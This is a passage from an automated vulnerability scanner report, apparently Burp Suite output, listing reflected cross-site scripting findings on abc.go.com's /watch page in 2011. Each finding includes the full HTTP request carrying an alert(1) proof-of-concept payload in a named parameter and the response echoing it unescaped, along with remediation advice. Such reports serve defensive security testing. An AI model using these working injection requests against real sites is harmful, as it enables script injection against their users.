Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the aa request parameter is copied into an HTML comment. The payload 992fa--><script>alert(1)</script>cc4d89a2688 was submitted in the aa parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F992fa--><script>alert(1)</script>cc4d89a2688&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:27 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:27 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:27 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F992fa--><script>alert(1)</script>cc4d89a2688&partner=&pc=&pl=&brandid=001 -->
...[SNIP]...

1.19. http://abc.go.com/watch [aff parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the aff request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3315a"-alert(1)-"b50500fdfde was submitted in the aff parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo3315a"-alert(1)-"b50500fdfde&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:15 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:15 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc03
Cache-Expires: Wed, 23 Feb 2011 23:12:15 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
>
   var crumbs = new abcdm.abc.vp2.ui.breadcrumb.Breadcrumb('breadcrumb');
   crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?i=1&aff=komo3315a"-alert(1)-"b50500fdfde&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~R
...[SNIP]...

1.20. http://abc.go.com/watch [aff parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the aff request parameter is copied into an HTML comment. The payload b4702--><script>alert(1)</script>cf5748d6729 was submitted in the aff parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komob4702--><script>alert(1)</script>cf5748d6729&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:17 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:17 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:17 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
<!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?i=1&aff=komob4702--><script>alert(1)</script>cf5748d6729&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~R
...[SNIP]...

1.21. http://abc.go.com/watch [al parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the al request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload add94"-alert(1)-"da4ce7e27d2 was submitted in the al parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.pngadd94"-alert(1)-"da4ce7e27d2&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:21 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:21 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc02
Cache-Expires: Wed, 23 Feb 2011 23:12:20 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
mb');
   crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.pngadd94"-alert(1)-"da4ce7e27d2&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=&brandid=001","cookieName" : "abc_v
...[SNIP]...

1.22. http://abc.go.com/watch [al parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the al request parameter is copied into an HTML comment. The payload 62285--><script>alert(1)</script>0ee6960a174 was submitted in the al parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png62285--><script>alert(1)</script>0ee6960a174&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:22 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:22 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc03
Cache-Expires: Wed, 23 Feb 2011 23:12:22 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
<!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png62285--><script>alert(1)</script>0ee6960a174&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl=&brandid=001 -->
...[SNIP]...

1.23. http://abc.go.com/watch [i parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the i request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload eeaf7"-alert(1)-"bf408a71e3b was submitted in the i parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1eeaf7"-alert(1)-"bf408a71e3b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:10 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:10 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc02
Cache-Expires: Wed, 23 Feb 2011 23:12:10 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
vascript">
   var crumbs = new abcdm.abc.vp2.ui.breadcrumb.Breadcrumb('breadcrumb');
   crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?i=1eeaf7"-alert(1)-"bf408a71e3b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3
...[SNIP]...

1.24. http://abc.go.com/watch [i parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the i request parameter is copied into an HTML comment. The payload bd0a6--><script>alert(1)</script>1c4bcbbcc0b was submitted in the i parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1bd0a6--><script>alert(1)</script>1c4bcbbcc0b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:12 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:12 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:12 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
<!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?i=1bd0a6--><script>alert(1)</script>1c4bcbbcc0b&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3
...[SNIP]...

1.25. http://abc.go.com/watch [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22c78"-alert(1)-"857dd371022 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?22c78"-alert(1)-"857dd371022=1 HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:06 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:06 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc02
Cache-Expires: Wed, 23 Feb 2011 23:12:06 GMT
Content-Length: 15628
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
/javascript">
   var crumbs = new abcdm.abc.vp2.ui.breadcrumb.Breadcrumb('breadcrumb');
   crumbs.set({"breadcrumbDiv": "breadcrumb", "showTitle": "","currentPageType":"Featured", "currentPageUrl":"/watch?22c78"-alert(1)-"857dd371022=1&brandid=001","cookieName" : "abc_vp_breadcrumb" });
</script>
...[SNIP]...

1.26. http://abc.go.com/watch [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 79066--><script>alert(1)</script>bceb9d2f1a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?79066--><script>alert(1)</script>bceb9d2f1a4=1 HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:08 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:08 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:07 GMT
Content-Length: 15676
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
<!-- ~#~#VP2#~#~ Version: 6.0.3.9_10_1 ~~~ Brandid: 001 ~~~ /watch?79066--><script>alert(1)</script>bceb9d2f1a4=1&brandid=001 -->
...[SNIP]...

1.27. http://abc.go.com/watch [partner parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the partner request parameter is copied into an HTML comment. The payload fce41--><script>alert(1)</script>a0f23fb5a53 was submitted in the partner parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=fce41--><script>alert(1)</script>a0f23fb5a53&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:32 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:32 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc03
Cache-Expires: Wed, 23 Feb 2011 23:12:32 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
c.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=fce41--><script>alert(1)</script>a0f23fb5a53&pc=&pl=&brandid=001 -->
...[SNIP]...

1.28. http://abc.go.com/watch [partner parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the partner request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbab2"-alert(1)-"8115564337a was submitted in the partner parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=dbab2"-alert(1)-"8115564337a&pc=&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:30 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:30 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc04
X-Powered-By: ASP.NET
Cache-Expires: Wed, 23 Feb 2011 23:12:30 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
c.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=dbab2"-alert(1)-"8115564337a&pc=&pl=&brandid=001","cookieName" : "abc_vp_breadcrumb" });
</script>
...[SNIP]...

1.29. http://abc.go.com/watch [pc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the pc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cafe5"-alert(1)-"bce35d84227 was submitted in the pc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=cafe5"-alert(1)-"bce35d84227&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:36 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:36 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc02
Cache-Expires: Wed, 23 Feb 2011 23:12:36 GMT
Content-Length: 16360
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Watch Full Episodes
...[SNIP]...
m/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=cafe5"-alert(1)-"bce35d84227&pl=&brandid=001","cookieName" : "abc_vp_breadcrumb" });
</script>
...[SNIP]...

1.30. http://abc.go.com/watch [pc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://abc.go.com
Path:   /watch

Issue detail

The value of the pc request parameter is copied into an HTML comment. The payload c68cf--><script>alert(1)</script>95f6c7f6244 was submitted in the pc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /watch?i=1&aff=komo&al=http%3A//ll.static.abc.com/m/fep/images/aff/komo/komo_wcvmp1.png&aa=http%3A//ad.doubleclick.net/adx/abc.KOMO.episode/~SHOW~%3Bsz%3D10x10%3Bimp%3Dcreative%3B!category%3D~SPONSOR_CATEGORY~%3Bord%3D~RANDOM_NUMBER~%3F&partner=&pc=c68cf--><script>alert(1)</script>95f6c7f6244&pl= HTTP/1.1
Host: abc.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: max-age=300
Date: Wed, 23 Feb 2011 23:11:37 GMT
Content-Type: text/html; charset=UTF-8
Last-Modified: Wed, 23 Feb 2011 23:11:37 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
From: abc03
Cache-Expires: Wed, 23 Feb 2011 23:12:37 GMT
Content-Length: 16408
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
